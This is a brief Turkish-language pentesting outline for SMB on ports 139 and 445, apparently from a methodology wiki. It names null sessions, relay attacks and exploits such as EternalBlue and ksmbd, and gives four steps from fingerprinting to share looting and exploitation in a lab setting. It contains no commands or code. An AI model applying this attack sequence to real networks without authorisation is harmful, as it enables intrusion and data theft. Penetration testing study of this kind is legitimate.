139,445 - Pentesting SMB

SMB windows

SMB paylaşım enum, null session, relay ve kernel CVE (EternalBlue/ksmbd) lateral/RCE üretir. Hedef lab IP’si üzerinde komutları 139 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 445 fingerprint.

2. Null/auth enum.

3. Share/loot.

4. Relay/CVE.
